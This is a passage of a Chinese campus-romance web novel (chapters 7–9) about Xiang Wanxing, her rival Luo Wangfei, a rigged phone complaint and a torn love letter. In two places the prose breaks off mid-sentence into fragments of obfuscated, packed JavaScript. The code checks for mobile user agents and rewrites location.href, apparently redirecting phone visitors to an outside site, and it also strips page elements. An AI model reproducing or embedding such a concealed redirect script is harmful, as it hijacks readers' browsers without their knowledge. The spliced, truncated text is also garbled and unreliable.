“怎么你还要管起我的事了。”洛望飞扯了扯嘴角,笑容冷淡,“以前告状撒谎,现在还在外面给我造谣,你是越来越不择手段了啊。” 向晚星保持着仰头望着他的姿势一动不动,目光扫过他的脸庞,他的书包,头脑瞬间清醒。 如果洛望飞回过家,他不可能还背着书包。 而且距离放学也就一个半小时,他压根来不及和宋惜去约会。 就算是在学校旁边的小馆子吃东西,那一定会沾染上浓重的小炒或者烧烤的气味。 所以,他没有去和宋惜一起玩,没有和宋惜一起吃饭,也没有抛下她不管一个人回家。 是吗? 她怀揣着希冀,又不敢肯定,害怕是一场自作多情。 旁边的超市正好放起王菲的《匆匆那年》,字字句句落入向晚星耳朵里,拉扯着她心里晃动的萌芽迅速抽枝发芽。 “如果过去还值得眷恋 别太快冰释前嫌 谁甘心就这样,无挂也无牵 我们要互相亏欠,不然凭何怀缅” 女主或者女配的悲惨人生是因为喜欢男主,但是如果是讨厌男主,一心给他添堵呢? 看着洛望飞的眉眼,向晚星下定了决心。 我不要卑微地爱着你,不能总是我一个人输。 反正你也讨厌我,也不会喜欢我,那就一直当仇敌吧,总比忘了我强。 向晚星往后退了一步。 洛望飞心中浮现出一丝不详的预感。 她拿起手机,对着电话那头焦急的叶芝女士开口便是哭腔:“阿姨,洛望飞欺负我,洛望飞他一个人去玩不带我,我被丢在学校好可怜的,呜呜呜。” 洛望飞目瞪口呆,低声骂了一句“草。” 哪怕从前向晚星恶劣骄纵,顶多算是报复心强,在他招惹之后挠痒痒一样反扑,告状也不会捏造事实,懂得分寸尺度。 今日却是过分,简直是直冲着要他命去。 洛望飞气到发笑,伸手要夺过电话,向晚星早就握着手机飞奔而去,像是在逃命一般,洛望飞也奔跑去追。 向晚星知道自己比不上洛望飞的爆发力和速度,一个劲往人群里钻,往拥挤的地方去,但洛望飞有力地脚步声总是在她身后响起,多次她回头,看见洛望飞满是怒气的脸,感觉心脏骤停。 他像是追逐猎物的狼,而她就是瑟瑟发抖为了活命狂奔的兔。 洛望飞的家就是终点,倘若她松懈下来没能及时到达,今天就会宣告完蛋。 洛望飞真生气起来会拿她怎么样,向晚星也心里没底,只能拼了命狂奔,在内心祈祷,快点,快点,不要被抓到。 拜托,总要让她赢一回吧。 7. 喜欢宿敌怎么办 推开洛望飞的家门时候,向晚星整个人几乎要散架了,两腿直打颤,虚弱无力地喊了一声“阿姨,救,救命”,整个人半跪着扑进叶芝怀里。 叶芝系着围裙,还以为向晚星遇上什么变态,把她护在身后,把门重重一关。 一只青筋暴起的手伸出来卡住了门。 向晚星抖了两下,叶芝也紧张起来,举起手中的锅铲,还狠狠地砸向这位不速之客。 “妈!是我!”门被推开,洛望飞走进来,看见落下的锅铲,下意识退后一步,大喊出声。 可惜太晚了。 叶芝的脑子反应过来了,但是来不及喊停肌肉。 只听到一声闷响,洛望飞捂着肩膀疼得倒吸一口冷气,看了一眼叶芝,又看了一眼躲在叶芝身后的向晚星,“你们不打算说点什么吗?” 他都不要求这俩人道歉了,至少得要个解释吧。 叶芝尴尬地笑了一声,解开围裙朝着厨房走去,顺口就把锅甩回到洛望飞头上,“哎呀,你这孩子,回来又不说一声,我怎么知道是你。” 洛望飞面无表情地接了一句:“那我以后回来先报姓名再报身份证,您还不放心的话,再对个暗号?” 叶芝走进厨房端菜,假装没听到,“快来吃饭,菜都冷了,今儿个我特意去超市买排骨压的高汤。” 向晚星跟个小尾巴一样跟着叶芝进厨房,然后也捧了菜出来,帮着叶芝摆盘,“哇”的一声,极为给面子。 洛望飞看了一眼,嗯,菜果然是向晚星爱吃的菜,排骨汤也是向晚星喜欢的。 谁见了不说一句母女情深。 而他洛望飞纯属多余。 向晚星已经埋头吃了起来,洛望飞还站着,叶芝催他过来“杵在那里干嘛呢?跟个木头桩子一样,你看看几点了都,吃完赶紧写作业。” 洛望飞的肩膀不疼了,但是心累。 他把书包往沙发上一扔,拉开向晚星对面的椅子坐下,抄起筷子,专门去拦截向晚星想夹的菜。 或许是做贼心虚的缘故,今天的向晚星格外好欺负,被抢了菜也不吵,只是仰起头睁圆了眼睛,毫无攻击性地对他表示谴责。 但人性总归是恶劣的,她的示弱并不能让洛望飞释怀,反而更想欺负她,直接摁住了她的筷子,要去夹她已经戳中的鸡翅。 叶芝看不过去,把洛望飞的筷子拨开,亲自把鸡翅夹到向晚星碗里,瞪了不懂事的洛望飞一眼,“干嘛呢你?十几个鸡翅,非得抢这一个,平时也没见你多喜欢。” 叶芝又夹了一个鸡翅给洛望飞,洛望飞端着碗避开了。 他就喜欢向晚星碗里那个,其他的没意思。 “我喜欢的海鲜您也不给做啊。” 叶芝心里那点微末的愧疚和母子情深在洛望飞的不懂事里消散全无,“那晚星对海鲜过敏啊,人家来吃顿饭,你让让怎么了就,这么大人了,斤斤计较的。” 洛望飞彻底没胃口了,也懒得和叶芝争,只在心里腹诽。 说得向晚星是个稀客一样。 一年三百六十五天,三百六十天见面,一大半时间都得在一块儿吃饭,哪怕向晚星的母亲在家,叶芝做饭的时候也经常把菜盛上一碗让洛望飞送过去。 珠圆玉润的向晚星在叶芝眼里硬生生变成了一个吃不饱穿不暖的小可怜。 拜托,向晚星的母亲都是小老板了,她们家都比自家有钱了,叶芝的记忆还停留在十年前向兰早起晚归卖卤菜,向晚星可怜巴巴在菜市场写作业。 那个时候向晚星也不是真的小可怜啊,菜市场小霸王,爱占小便宜的大爷大妈都拿她没办法。 谁也不能在一个哇哇大哭的小女孩面前占理。 当然,小向晚星的手下败将里,也包括了前任孩子王,小地头蛇洛望飞。 回忆往昔,洛望飞心里更不是滋味,匆匆吃了几口了事,撩了筷子说要去写作业。 向晚星也吃完了,积极地捧起碗对着叶芝说“阿姨,我来洗碗吧。” 洛望飞步伐一顿,颓丧地立在原地,耷拉着眼皮,内心深深叹了口气,眼睁睁看着叶芝欣慰地拍了拍向晚星的手,脸上笑开了花,“哎呦,不用,不用。” 话头一转,叶芝声音冷淡下来,拿出了在单位的领导架子,命令洛望飞道:“过来,把碗洗了去。你看看人家晚星!每次都要我说你!” 洛望飞沉默了,这么多年,不都是他洗的碗吗? 从小到大,向晚星就第一次来他们家的时候洗了碗,也不算洗,把碗泡到水池里,就这还把碗打碎了。 后面她更是碗都不碰,嘴皮子一掀,然后极其流畅自然地在叶芝的夸赞中把碗交给被吩咐的洛望飞。 苦力他出,功劳向晚星拿。 算了,习惯了。 洛望飞已经麻木了,没好气地拿过碗碟往厨房走,熟练地打开水龙头,找出洗洁精干活。 洗到一半,厨房门推开,洛望飞认出是向晚星的脚步声,继续洗着碗,习惯性往旁边伸手去拿菜碟却摸了空。 洛望飞觉得奇怪,回身去看,瞧见向晚星呆呆端着脏污的菜碟站在厨房里,心虚地看着地面避开他的视线。 真是太奇怪了。 往常向晚星都是走过来把菜碟直接放在台子上,笑嘻嘻地说“辛苦喽”。 嚣张到让人想教训她一顿。 今天像是换了个人一样,从一个气鼓鼓的河豚变成了蓬松的棉花糖。 棉花糖只会让人有想揉捏的欲望。 “你傻站着干嘛呢。”洛望飞把洗好的碗碟放到一边,冲干净手上的泡沫,“赶紧把碟子拿过来,不然你来洗。” 向晚星如梦初醒般回神,“哦”了一声,毫无防备地走到洛望飞身边,把碟子放下,回身却发现洛望飞堵住了她的去路。 向晚星心里一惊,往后退的时候脚后跟踢到壁橱发出一声闷响,慌乱地心如擂鼓,连大气都不敢出,直到时间安静地流淌过去,她才确认厨房外的叶芝并没有注意到这个动静,悄然松了一口气。 而罪魁祸首洛望飞全程低头注视着她的慌乱,饶有兴味地勾起唇角露出一个幸灾乐祸的笑,“你心虚什么?” 向晚星底气不足地抬眼看着洛望飞,忍不住在和他对视的时候想移开视线,只好双手背到身后,撑在洗手台上,试图以这样的方式增加几分底气,板着脸呵斥他,“你干嘛?知不知道男女有别的?” 洛望飞闻言惊讶地挑眉看着向晚星:“你什么时候去泰国变性了吗?咱俩之间还得讲男女有别这玩意。” 那点隐秘的暧昧和欢喜荡然无存,向晚星气得想踹他,洛望飞站在原地,抬腿把她不安分的小腿卡住,抵在壁橱前,让她动弹不得。 “你到底想干嘛?!”向晚星又羞又臊,气急败坏的声音带上些哭腔,像是被欺负了一样,脸也红彤彤的。 可惜洛望飞对她并不存在怜香惜玉,反而享受着她此刻的软弱可怜和狼狈。 此刻的向晚星像是一颗熟透了的柿子,表皮都流着一种令人垂涎欲滴的蜜色,散发着甜甜的香气,诱惑着人伸出牙齿,去咬破她薄薄的皮,吸吮浓稠甜蜜的浆汁。 向晚星想躲,他偏偏恶劣地弯下腰,仰着头看着她,双手撑在洗手台上,堵死她的退路,一眨不眨盯着她,似乎想找到她性格切换的原因。 “你好烦啊。”向晚星被盯得不耐烦,但又推不动他,只能不耐烦地抱怨,“幼不幼稚,无不无聊,我还得去学习,懒得陪你浪费时间。” 这抱怨声也轻飘飘的,没什么杀伤力,不像从前一样尖锐,反而像是一片挠痒痒的羽毛,激起洛望飞的恶趣味。 他依然堵着向晚星不肯放她走,“看小说的时候你不想着学习,在外面逛街的时候你不想着学习,偏偏这会儿你想起来了,怎么着,学习是你的舔狗啊,平时你对它爱搭不理,想起来了就要随叫随到。” 向晚星抬起头,眼睛里冒出一簇小火苗,正要开口和他对骂,洛望飞把衣领拨了一下,露出锁骨旁边发红的肩膀,“你看你做的好事。” 向晚星愣愣看着洛望飞,他的头发被水打湿了些,白色的T恤也有些沾上水,晕染出一片浅色,半边肩膀露出来,少年人漂亮的锁骨旁边是一片胭脂色的红。 洛望飞还在喋喋不休地抱怨,浑然不知向晚星此刻满脑子都是馋他的身子。 这是我可以随随便便看的吗?! 向晚星没有一丝丝的火气,浸泡在被美色冲昏头脑的幸福里。 以至于她完全听不进去洛望飞在说什么,只是红着脸看着洛望飞的肩膀,连眼睛也不眨,生怕错过一秒。 虽然洛望飞私底下幼稚记仇又毒舌,但是他确实生了一副好皮囊,斯文白净,偏偏眉目深邃,眼尾上挑,勾出几分傲气不驯。 身材也是美少年独有的高挑纤细,一把瘦腰,但是肌肉薄而有力,白皙皮肤下游走着淡淡的青色血管。 放在漫画里,高低得是一个病弱BOSS,乍一看斯文无害,暴起伤人快而精准,对方还没有反应过来他已经擦着手上的血走远了,挑着剑去买酒喝。 洛望飞以为向晚星的沉默不语是在乖乖听训,哼了一声,把衣领拉回去,收回手,“知道错了就行,你要是还敢有下次,我可没这么好说话。” 向晚星意犹未尽地收回目光,重新开放了自己的听觉,听见这话,出于本能回了一句:“可这也不是我干的啊,是阿姨打的,你要算账找你妈去。” 洛望飞:? 向晚星是怎么在乖巧和狗之间无缝切换的? 变得也太快了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963434|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钢铁侠变身还得有个前摇呢。 洛望飞忍着怒气质问她:“你是说,你告状之后害我被打跟你没有关系是吗?” 向晚星很小声地纠正他:“你被打是因为阿姨关门的时候你正好伸出一只手,跟恐怖片一样,吓到她了,所以她才挥锅铲的,跟我告状没有关系。阿姨年纪大了,压根就没想起来我告状的事情啊,要不然她不可能不骂你的。” “向晚星。”洛望飞几乎是咬着牙蹦出一句“合着我还得感谢你没有旧事重提让我少挨了一顿骂?你是这个意思吗?” 向晚星抿着唇不说话,但是朝他眨巴着眼睛,给予无声的肯定。 洛望飞觉得自己的太阳穴隐隐作痛。 他怎么会觉得向晚星乖巧可欺。 今天不收拾收拾向晚星,他是睡不着了。 洛望飞正想着要怎么收拾她,听见叶芝在客厅里叫向晚星名字。 向晚星伸长了脖子正要答应,洛望飞低喝一声“不许出声!” 向晚星真就没有出声,很是茫然地仰着头看他,一副乖巧无辜的样子。 但是洛望飞已经不会再上当了,撇开头对着客厅喊道:“她回家了。” “她书包还在这里呢。”叶芝拿起向晚星的书包去对面敲了两下门,没得到回应,回来对洛望飞嘱咐了一句“你爸学校有个家长闹事,我去处理一下。我敲她门没反应,也不知道怎么回事,你等下看看去。” 洛望飞“哦”了一声,并不是很上心的模样,惹得叶芝很是担忧,边穿外套边念叨,“晚星一个女孩子,你让让嘛,怎么现在这么冷漠。小时候你还哭着抱怨她不跟你玩。” “妈!”洛望飞猛地站起来,椅子在地板上划出一道刺耳声音,打断了叶芝的碎碎念,“你赶紧去吧,我知道了,以前的事情别提了,都十几年前的事情了,我都记不清了。” 叶芝还想说些什么,又是一个电话打来,她一边接电话一边出门了,临走前看了一眼洛望飞,一个困惑的想法转瞬即逝:这大夏天的,他坐在厨房边的角落里干嘛,又热蚊子又多。 叶芝的脚步声远去之后,洛望飞才站起来,把厨房门拉开,对着里面的人冷声道:“看到没有,我妈也走了,这下谁也救不了你了。” 向晚星嘟囔了一句:“破喉咙。” “什么?”洛望飞怀疑自己幻听了。 向晚星摇摇头,想说没什么,但顶不住洛望飞的严厉目光,只得小声解释:“小说里坏人都这么说嘛:''你叫破喉咙,也没有人会来救你的''。” 洛望飞脸色一黑,他自然是知道这个梗的,也知道一般说着这种话的是什么人。 流氓,色狼,一边把女主逼近角落,一边猥琐下流地狞笑着。 他看了看此刻的站位。 哦豁,向晚星正好站在昏暗的厨房角落里。 他的神经突突直跳。 向晚星总是一句话就能把他气得半死。 “你给我出来!”洛望飞把门推开,然后朝客厅走去,坐在沙发上,努力平复着自己的呼吸。 向晚星在他对面坐下,抱着书包望着他,一副你想怎么样的可怜柔弱小白花模样。 他已经没有了欺负的欲望,只觉得心梗,一肚子火气没地方发,“向晚星,你最近到底什么毛病?” “我很健康,也很正常,你才有毛病。”向晚星依然一副占据道德高地的坦然模样,换一个人来都要怀疑人生去反省自己了。 “我什么毛病啊?” 向晚星抱紧了书包,眼珠子转到一边,盯着洛望飞家里的绿萝,“你朝三暮四,背信弃义,带坏学校风气。” 又是这套说辞。 “我朝谁暮谁了我,我初中收的情书被你拿去举报了,我爸盯了我三年,高中收的情书被你拿去赚钱了,你看看你干的是人事吗?啊?!宋惜的情书不也碎了吗,有哪一封是到我手上的。” 向晚星脸色骤然变得苍白,梗着脖子无力地辩解:“初中那个事情是你自己炫耀的,大张旗鼓,我告诉叔叔是我不对,但也是你先炫耀先招惹我的。高中明明是你自己懒得处理,刚刚好我做个中转避免尴尬,你也默许了。我初衷也就是帮忙,那几块钱我也不缺的。宋惜的事情我说了不是我。” “我已经知道是谁干的了,明天我会给你一个交代的,你想给宋惜出气没必要这么婉转,直说就行。”向晚星说完抓起书包就往门外走,砰的一声重重合上了门。 这变故发生的太快,洛望飞都没有反应过来,站起来的时候向晚星已经回家了。 在匆匆一瞥中,他似乎看到向晚星又一次红了眼睛。 但又觉得这只是他的错觉。 他觉得这甚至都算不上吵架,他只是说了一些事实,都没有怪向晚星的意思。 8. 喜欢宿敌怎么办 晚上十一点的时候,洛望飞出门倒垃圾,看见向晚星家的灯还亮着,他去冰箱拿了瓶酸奶,敲了敲她家的门。 没人应。 他又敲了两下门。 向晚星家的灯熄灭了。 他只好回去,觉得只是自己看错了,想多了,向晚星今天哭了那么多次,怎么还会流眼泪。 第二天出门的时候,洛望飞鬼使神差般拿了几颗巧克力放在书包里,结果打开门,看见向晚星家门上贴了张便利贴【热爱学习的人是绝不会等到闹钟响了才起床的!只有懒猪才会踩点!】 洛望飞看着便利贴右下角的猪头简笔画笑出声来。 也不知道她自己说这话心不心虚。 洛望飞走到楼道转角的时候往外看,正好瞧见向晚星在早点摊位前悠哉悠哉地吃面,丝毫不矜持地端起碗猛吸一大口鲜香热辣的面汤,嘴巴变得红彤彤的,脸庞也因为热气而泛着一层粉,桌子上还有一个空了的碗碟,有可能是一屉小笼包,也有可能是一盘豆皮加油条。 等她吃完的时候,26路公交已经缓慢驶近了,向晚星匆匆忙忙抓起书包往车上挤,好不容易坐下来,刚刚松了一口气,身后冷不丁响起一句:“哇哦,这不是我们早起读书的模范吗?怎么跟我一趟车啊。” 向晚星浑身一僵,眼珠子一转,看见熟悉的长腿,熟悉的黑色书包,内心呜咽一声,装聋作哑。 没有听到,我什么都没有听到。 幻觉,一定是幻觉! 洛望飞趴在她的座椅靠背上,指尖去拨弄她的马尾,“啧,也不知道你读的是什么书,一股老陈拉面的味,嘶,还有肉包子味,这书读的真起劲啊。找一个比拼饭量的学校你肯定坐稳第一啊,哎,猪好像就是每天比谁吃饭最积极吧。哦,不行,懒猪拿不了第一。” 向晚星打定主意装死到底,为了占据道德高地,她拿了本英语书出来,硬生生在周围人惊诧的目光中咬着牙看了下去。 “你看你看,公交车上还有人背单词呢,这哪个班的啊,这么拼。” “嚯,这妹子牛逼啊,欸,我怎么看着她有点眼熟呢。” 向晚星默默举起了英语书,挡住了自己的脸。 她不是真的想装逼啊!她是被逼的啊! 始作俑者洛望飞还不放过她,非常夸张做作地发出一声惊叹:“同学!你好厉害啊!这么认真,想必成绩一定很好吧,英语不满分说不过去啊。” “啧啧啧,你能教教我吗?定语从句状语从句的区别我不会,勤奋用功的你肯定知道吧。” 向晚星听着他这浮夸的吹捧恨不得缩成一团,整个人脸贴着书页,也顾不上看单词了,就完全不想让任何人看见她的长相,认出她的身份来。 她和洛望飞是非常不典型的偏科,她擅长数理化,没有感情的计算机器,双语一塌糊涂,而洛望飞是双语满分的怪胎,过目不忘,语感天才,理科惨不忍睹。 每次考完试,她带着满分的数学试卷回家,洛望飞带着满分的英语回家,然后对视一眼,去翻对方书包里不及格的试卷。 她上次不及格的英语小测试卷就是定语从句和状语从句相关,一堆that,看得她眼花缭乱,昏头转向。 “你够了吧,我都没提你数学裂项和不等式考77分这回事。”向晚星咬着牙,侧过脸怒气冲冲瞪了他一眼。 洛望飞笑了笑,颇有些青春校园电影男主角的阳光帅气,但话语里带着暗暗的恨,“你没提吗?你不是都把我试卷放在我们家餐桌上了吗?我半个暑假的数学作业不就是拜你所赐吗?热心的向晚星同学。” 向晚星不说话了,把书蒙在脸上,一副在知识海洋中昏迷过去的模样。 洛望飞依然趴在她的座椅靠背上,侧着头瞧着向晚星红得滴血的耳垂,笑着继续调侃:“同学,你这样怎么背书啊?不担心近视吗?” 一边说着,洛望飞一边伸出手去掀她脸上的书,昏迷一般的向晚星突然就有了反应,伸出手死死捂着书皮和他对抗,“你够了!你够了!不要得寸进尺!” 她吃完热腾腾的早餐时候本来是一颗白里透红的水蜜桃,现在整个人变成了一颗熟透了的红石榴。 洛望飞觉得挺好玩的,也不用力,就是拨弄着书页,逗她玩,“我是为你好啊,同学,你这样会近视的。再说了,你这样看得清字吗?难不成你就是传说中的渗透压学习法,太牛逼了!” 向晚星羞愤欲死地侧过身,想把聒噪的洛望飞抛在身后,洛望飞直接跟着转头,“同学,害什么羞啊,我是很认真地求教啊,你教教我呀,啊,是不是觉得我水平太低了,不配和你说话啊。” 向晚星几乎要把牙咬碎了,洛望飞英语就没下过145,高二就拿了个英语全国一等奖,学校还放过他的口语演讲视频给大家看,他的发音比英语听力标准多了,乍一听还以为是大洋彼岸的英伦帅哥。 向晚星一度想骂他是个假的中国人,但是想想自己108分的语文试卷,再想想洛望飞140的试卷,只能一次次咬牙沉默。 她此刻期盼着周围人聊起来,吵起来闹起来也行啊,盖过洛望飞的聒噪,偏偏周遭安静地出奇。 倘若她把书从脸上移开,便能发现周围的同学都以一种暧昧又异样的眼光看着她和洛望飞。 他们压低了声音,生怕当事人听见。 “早上还没有吃饭呢,现在好了,吃狗粮吃饱了。” “那是洛望飞吧,不是说他不喜欢女的吗?瞧这架势,都快亲上了,感情够好的啊,他女朋友谁啊这是。” “欸,我看了看贴吧,他们班好像是来了个大美女,这不会就是那大美女吧。” 几个消息灵通的人扶了扶脸上的黑框眼镜,对上视线的同时交换了一下信息。 转学生的双语听说也是神仙级别的,是唯一能跟洛望飞抗衡的选手。 转学生在追洛望飞,而且穷追猛打,听说两人早有渊源。 对上了! 电光火石间,几个消息灵通的八卦好手就已经拿出手机,拍了一张模糊不清的照片,匿名发送到春明一中的校园贴吧。 【报!!!洛望飞名草有主了!转学生只用了三天拿下!】 【震惊!校草公交车上打情骂俏!不顾周围单身狗死活!】 向晚星进到一班教室的时候,叶雪咬着包子兴奋至极地告诉她:“你知道么!洛望飞和那转学生亲了!神速啊!” 向晚星浑身一震,感觉心脏骤停,定在原地双腿发软,“啊?!” 叶雪把她拉到座位上,津津有味地八卦,“我知道的时候也跟你这反应一样,嘿,真没想到,这才几天啊。” 向晚星听不进去叶雪的八卦,也听不进去周遭的议论声,只是觉得自己鼻尖酸酸的,像是泡在一杯冰柠檬水里。 “你怎么了?”叶雪兴奋的声音骤然消失,满是困惑地趴在向晚星身边,“大早上的,你怎么眼睛飘着红血丝啊,没睡好吗?” “嗯。”向晚星把课本竖起来,看着上面的黑色字体,脑海里都是昨天的画面。 嘲笑自己自作多情。 那么长的时间里,洛望飞明明只要起过找她的念头,都能找到书店里的她,又怎么需要在路上偶遇。 他们从来都不是这么亲密友好的关系,只不过是她单恋时候不切实际的美好幻想而已。 是她自己健忘,忘了他明明也和自己吵了架,指责她撕毁宋惜的情书,态度这么明显,她选择了视而不见而已。 哦,那封情书,向晚星想起自己身上还背着一桩冤假错案,把书放下,盯着自己的好友叶雪:“我昨天去查监控了,发现了一个事情,比情书那事儿更严重。” 叶雪被她看得有些后背发凉,习惯性笑着缓和气氛,“什么事啊,你这么严肃,我有点不习惯了。” 她现在还不肯承认。 向晚星生气了,面无表情地开口,“你和李彦什么时候勾搭上的?为什么不告诉我?” 叶雪笑不出来了,转着眼珠子避开向晚星审视的目光,知道自己理亏,支支吾吾,“这个事,其实,它不是你想的那样,说来话长。” “那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963435|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长话短说。”向晚星板着一张脸呵斥她,“老实交代,不许隐瞒。” “是是是!我一定老实交代。”叶雪举起双手投降,看了李彦一眼,凑近了贴着向晚星的耳朵嘀咕:“就是高一那会儿他不是嘲讽我吗?我就弄了个小号装成学霸去勾搭他,交流问题。” “所以你们高一就勾搭上了?!!”向晚星真的很想尖叫。 两年!她足足被瞒了两年! 那年夏天你说你和他势不两立,原来只有她这个傻缺当了真。 叶雪知道自己不占理,摸着向晚星的后背给她顺气,“没有没有,我就是想玩玩,看看他这个装逼犯私底下的样子,然后笑话他。结果发现他还挺好用的,还能帮我写作业,免费补课,带零食。” 向晚星眯起眼睛满是杀气,叶雪立马举起双手投降,“我撩到手也就是高二下学期的事情,我保证,他给我的东西,我都分你吃了,绝没有藏私!苍天可鉴!” 向晚星还没有发话呢,李彦走过来拍了拍她们俩的桌子,“早读禁止闲聊,再有下次,我记你们名字了。” 向晚星一腔怒火正无处发泄,望向这位纪律委员,想象中自己化身刺客,拿出匕首直直插入对方心门,“你这么清楚规章制度,能不能告诉我,乱翻别人东西,撕毁他人情书致使严重影响他人名誉该怎么罚啊?” 李彦皱起眉头,向晚星在下课铃里站起身来,压低了嗓音,“虽然我不知道你们到什么阶段了,但是我不同意这门亲事!” 李彦的目光很冷,口气也是淡淡的,看小丑一样看着向晚星,“轮得到你不同意吗?自作多情。” 这句话如同一盆冷水兜头泼下,向晚星感觉身体都凉了,嘴唇颤抖着有些说不出话。 还是叶雪站起身来呵斥李彦,“你怎么说话呢你!向晚星是我好朋友,放客气点。” “你少跟她玩。”李彦看了向晚星一眼,满是嫌弃,如同当初嫌弃叶雪一般,“神经兮兮的,每天不好好学,整天就知道看小说幻想不劳而获。” “李彦!”叶雪推了他一下,护在向晚星面前,“我最后说一遍,向晚星是我朋友,比你还重要的朋友,你要是不会尊重她,咱俩也别处了。” 李彦这才收敛了,望着叶雪嘴唇一张一合,只说了句:“你认真的吗?” 叶雪没怎么犹豫,“认真啊,我和向晚星一个德行,你看不起她跟看不起我没区别,咱俩也没什么必要继续。” “我没说看不起你。”李彦试图解释,就事论事。 叶雪挥手下了定论,“一样的,我和向晚星,你嫌弃她就是嫌弃我,没什么好说的。” 李彦这才微微咬着唇看向叶雪身后的向晚星,满是不甘地道歉,但又放不下高傲的自尊,“你想怎么样?” 向晚星想了想,“你应该去和宋惜道歉,因为这是她的情书。” 李彦觉得可笑极了,他还得去跟第三个人道歉,但被叶雪看着,也只能忍了,屈辱地和向晚星去三班找人。 但是宋惜不在座位上,三班的人给他们指了指教学楼的天台,露出一个暧昧的笑,“和洛望飞一起出去的。” 向晚星强笑着道了谢,和李彦一起往天台上走,还没有看到洛望飞和宋惜的人,便听到他们的声音。 宋惜的声音细细弱弱的,像是杨柳一样,“你和向晚星的关系真的只是朋友吗?没有别的什么吗?” 洛望飞的声音很清爽,像是夏天的风,说出的话却让向晚星浑身发寒,“不是,我和她才不是朋友。她是我妈钟爱的养女,我是被欺压的儿子,就是这种关系。” “可是。”宋惜的话还没有说完,向晚星重重踩在台阶上,脚步声打断了天台上两人的对话。 “情书的事,我来给你一个交代。”向晚星没有看洛望飞,把李彦推到宋惜面前,“他撕的。” 李彦浑身不自在,看着地面匆匆说了一句“你那情书没写名字,在我女朋友包里,我误会了。” “等等!你们俩谈了?!”洛望飞满是震惊地看着李彦和向晚星,“什么时候的事情?” 9. 喜欢宿敌怎么办 向晚星并不搭理洛望飞,盯着李彦纠正他:“你这个说法很避重就轻,哪怕是吃醋,你也不能随意撕毁别人的情书,这是不尊重人的行为,你态度能不能端正一点,至少也要说声对不起吧。” 李彦很是不耐烦,“你有完没完了?屁大点事非要纠着不放,这又不是你写的情书,你这么上蹿下跳的。” 宋惜正围观着,李彦冷不丁转过头来盯着她,目光有些瘆人,“转学生,你还有事吗?” 宋惜紧张起来,摇摇头慌忙道:“没,没事,其实那个也不是情书,没必要吵架,这个不算什么事,没必要闹这么僵。” 李彦转头看向向晚星,露出一个胜利者的笑容:“听见了吗?小题大做。不是谁都跟你一样天天闲着没事干,芝麻大点的事情闹翻天。” 向晚星站得笔挺,不让自己输了气势,“你错了就是错了,道歉理所应当,一码归一码,她不计较是脾气好,你不道歉是你的问题。” “小说看多了吧,有病。”李彦看怪物一样甩了向晚星一个白眼,转身走了。 向晚星气不过,还想跟他理论,胳膊被人拉住,回头一看,又是洛望飞。 “你干嘛?”向晚星使劲抽回自己的胳膊,慌乱地看了宋惜一眼,发现宋惜转过身背对着他们两个了。 ??? 不是,这是你对象啊! 不管管的吗! 你躲什么啊!心虚的不应该是我吗! 向晚星的视线很快被洛望飞给霸占,他冷着脸的样子瞧上去有些凶,“我刚刚问你话呢,怎么不回答,你和李彦什么时候的事情?” 瞧着他满脸不开心的样子,向晚星心里涌上一股痛快来。 为什么总是我一个人辗转反侧,你总是无知无觉呢? 洛望飞,原来你也会因为我而不开心吗? 向晚星学着他之前的语气回呛:“我的事情什么时候轮到你来管了?” 洛望飞气得发笑,握着向晚星的手不自觉用力,冷白皮肤之下隐隐可见青筋,“是,我管不着。向姨知道这回事吗?” “那也是我们家家事,要你管。”向晚星极为自然地说出真话,“再说了,我和李彦清清白白,又没有什么关系,你去说呗,我怕你啊。” 洛望飞没有信,“都喊上女朋友了,这叫清清白白?你当我是聋子还是傻子?怎么着,你改名了?改姓吕,叫朋友了?” 向晚星耸了耸肩,“信不信由你,李彦说女朋友,又没有说我的名字,你凭什么料定他女朋友就是我?” 向晚星抬起头,凝视着洛望飞近在咫尺的脸,在晨曦的阳光和微风里轻声问他,“洛望飞,你这么在乎我有没有对象干嘛?” 洛望飞微微一愣,抓住她的手也滞住,向晚星等了一会儿没听到他回答,便扭身逃走,如同蝴蝶一般远去了,消失在他的视线里。 教学楼里喧嚣而热闹,天台上仿佛时间静止了一般,洛望飞站在原地,感觉自己的手掌有种异样的感觉,又说不出为什么。 目睹一切的宋惜站在原地不敢动,看到向晚星出现在教学楼走廊而洛望飞还站在这里之后,她才试探性出声:“洛望飞同学,你还好吗?” 洛望飞把手插进口袋里,从容得笑了笑,“我有什么不好的?” 宋惜暗自腹诽道:你满脸写着不开心啊,浑身都冒着冷气,只有你自己觉得正常。 但是她和洛望飞不熟,不敢就这么吐槽出来,只能尴尬地笑笑,“那就好啊,拜托你的事情,多谢你帮忙。” “没什么,一句话的事情。”洛望飞的语气格外平淡,“而且我也没帮上什么忙,唐川说他不考虑这些,你自求多福吧。” 宋惜:? 你刚刚明明不是这么说的啊。 宋惜有些急了,但是又不敢指责洛望飞变卦惹他更加不高兴。 明明在向晚星出现之前,洛望飞非常积极地鼓励她去追求唐川,还暗示有必要的话他也可以提供一些帮助的。 怎么突然就变成让她自求多福了? 他自己失恋总不能让她跟着一起失恋啊。 她不想失恋啊! 宋惜委屈,宋惜不敢直说,只能迈着小碎步跟在洛望飞身后,小心翼翼地开口:“向晚星同学的事情,如果你放不下面子的话,需要我帮忙吗?同学之间互相帮助是应该的,你帮了我,我也应该帮你。我也可以帮你传话打听一下的。” 